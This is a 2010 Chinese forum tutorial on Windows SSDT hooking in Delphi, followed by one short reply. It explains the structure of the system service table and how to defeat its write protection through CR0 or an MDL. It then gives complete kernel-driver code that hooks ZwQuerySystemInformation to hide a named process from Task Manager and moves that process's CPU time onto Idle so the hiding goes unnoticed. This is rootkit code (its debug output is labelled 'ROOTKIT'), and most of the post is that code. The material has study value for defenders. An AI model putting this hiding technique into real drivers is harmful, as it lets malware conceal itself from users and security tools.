admin 发表于 2010-12-22 09:00:52

SSDT Hook原理及Delphi实现

一、一般思路:
1.先来了解一下,什么是SSDT
SSDT即System Service Dispath   Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
http://www.kmdkit4d.net/uploadfile/200904/200904221332280940.jpg
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:
http://www.kmdkit4d.net/uploadfile/200904/200904221333010539.jpg
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
http://www.kmdkit4d.net/uploadfile/200904/200904221333300770.jpg
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
TServiceDescriptorEntry=packed record
   ServiceTableBase:PULONG;
   ServiceCounterTableBase:PULONG;
   NumberOfServices:ULONG;
   ParamTableBase:PByte;
end;其中,
ServiceTableBase   -- System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:
http://www.kmdkit4d.net/uploadfile/200904/200904221334090908.jpg
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
http://www.kmdkit4d.net/uploadfile/200904/200904221334350864.jpg
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2) 通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
TMDL=packed record
   Next: PMDL;
   Size: CSHORT;
   MdlFlags: CSHORT;
   Process: PEPROCESS;
   MappedSystemVa: PVOID;
   StartVa: PVOID;
   ByteCount: ULONG;
   ByteOffset: ULONG;
end;首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:

{ 把SSDT隐射到我们的区域,以便修改它为可写属性 }
   g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                 lpKeServiceDescriptorTable^.NumberOfServices * 4);
   if g_pmdlSystemCall = nil then
   Exit(STATUS_UNSUCCESSFUL);

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
   g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
   { 在内存中锁定,不让换出 }
   MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
3.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
function ZwQuerySystemInformation(
   SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果这值是5,则代表系统中所有进程信息}
   SystemInformation: PVOID; {这就是最终列举出的信息,和上面的值有关}
   SystemInformationLength: ULONG;
   ReturnLength: PULONG): NTSTATUS; stdcall;如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1)   突破SSDT的内存保护,如上所用的MDL方法
(2)   实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3)   用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
(4)   卸载New*函数,完成。
具体代码如下:
unit ssdt_hook;

interface

uses
   nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                     pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
   {定义ZwQuerySystemInformation函数类型}
   TZwQuerySystemInformation =
   function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
            ReturnLength: PULONG): NTSTATUS; stdcall;

var
   m_UserTime: LARGE_INTEGER;
   m_KernelTime: LARGE_INTEGER;
   OldZwQuerySystemInformation: TZwQuerySystemInformation;
   g_pmdlSystemCall: PMDL;
   MappedSystemCallTable: PPointer;
   lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由于Delphi无法导入其他模块导出的变量,因此我们变通一下,将其
   当做函数导入,这样,其真实地址就保存在IAT中,每条导入函数的
   IAT记录有6字节,格式为jmp ds:,机器码为FF25xxxxxxxx,
   FF25是长跳转的机器码,跳过这2字节就是需要的地址。这点与C中不同,
   需要注意。}
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址
begin
   { 直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向
   KeServiceDescriptorTable }
   Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函数名计算SSDT函数偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
   { SSDT偏移+函数名,就是SSDT函数偏移 }
   { Delphi 2009中支持Pointer Math运算,可以这样写 }
   {Result := lpKeServiceDescriptorTable^.ServiceTableBase;}
   { 如果用其他版本,就只能像下面这样写了 }
   Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我们的hook函数,过滤掉"InstDrv"的进程 }
function NewZwQuerySystemInformation(
             SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;
var
   nt_Status: NTSTATUS;
   curr, prev: PSYSTEM_PROCESSES;
   times: PSYSTEM_PROCESSOR_TIMES;
begin
   nt_Status := OldZwQuerySystemInformation(
         SystemInformationClass,
         SystemInformation,
         SystemInformationLength,
         ReturnLength );

   if NT_SUCCESS(nt_Status) then
   begin
   { 请求文件、目录列表 }
   if SystemInformationClass = SystemProcessesAndThreadsInformation then
   begin
       { 列举系统进程链表 }
       { 寻找"InstDrv"进程 }
       curr := PSYSTEM_PROCESSES(SystemInformation);
       prev := nil;
       while curr <> nil do
       begin
         DbgPrint('Current item is %x'#13#10, curr);
         if curr^.ProcessName.Buffer <> nil then
         begin
         if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
         begin
             Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
             Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

             if prev <> nil then
             begin
               { Middle or Last entry }
               if curr^.NextEntryDelta <> 0 then
               Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
               else
               { we are last, so make prev the end }
               prev^.NextEntryDelta := 0;
             end else
             begin
               if curr^.NextEntryDelta <> 0 then
               begin
               { we are first in the list, so move it forward }
               PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                 curr^.NextEntryDelta;
               end else { we are the only process! }
               SystemInformation := nil;
             end;
         end;
         end else { Idle process入口 }
         begin
         { 把InstDrv进程的时间加给Idle进程,Idle称空闲时间 }
         Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
         Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

         { 重设时间,为下一次过滤 }
         m_UserTime.QuadPart := 0;
         m_KernelTime.QuadPart := 0;
         end;
         prev := curr;
         if curr^.NextEntryDelta <> 0 then
         PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
         else
         curr := nil;
       end;
   end else if SystemInformationClass = SystemProcessorTimes then
   begin
       times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
       times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                 m_UserTime.QuadPart +
                                 m_KernelTime.QuadPart;
   end;
   end;
   Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
   DbgPrint('ROOTKIT: OnUnload called'#13#10);

   { 卸载hook }
   InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                     LONG(@OldZwQuerySystemInformation));
   { 解锁并释放MDL }
   if g_pmdlSystemCall <> nil then
   begin
   MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
   IoFreeMdl(g_pmdlSystemCall);
   end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                     pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
   { 取得指向系统服务描述符表的指针…… }
   lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
   { 注册一个卸载的分发函数,与与应用层沟通 }
   pDriverObject^.DriverUnload := @OnUnload;

   { 初始化全局时间为零 }
   { 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的
   消耗会不变,cpu 100% }
   m_UserTime.QuadPart := 0;
   m_KernelTime.QuadPart := 0;

   { 保存旧的函数地址 }
   OldZwQuerySystemInformation :=
   TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

   { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
   g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                 lpKeServiceDescriptorTable^.NumberOfServices * 4);
   if g_pmdlSystemCall = nil then
   Exit(STATUS_UNSUCCESSFUL);

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
   g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
   { 在内存中锁定,不让换出 }
   MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   { 把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,
    先突破了SSDT的保护,接着用InterlockedExchange更改了目标函数,
    下来就剩下具体的过滤任务了 }
   OldZwQuerySystemInformation :=
   TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                         LONG(@NewZwQuerySystemInformation)));

   Result := STATUS_SUCCESS;
end;

end.这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。
http://www.kmdkit4d.net/uploadfile/200904/200904221335230669.jpg

花心胡萝卜 发表于 2010-12-23 16:17:09

{:3_41:}看不懂--先收藏
页: [1]
查看完整版本: SSDT Hook原理及Delphi实现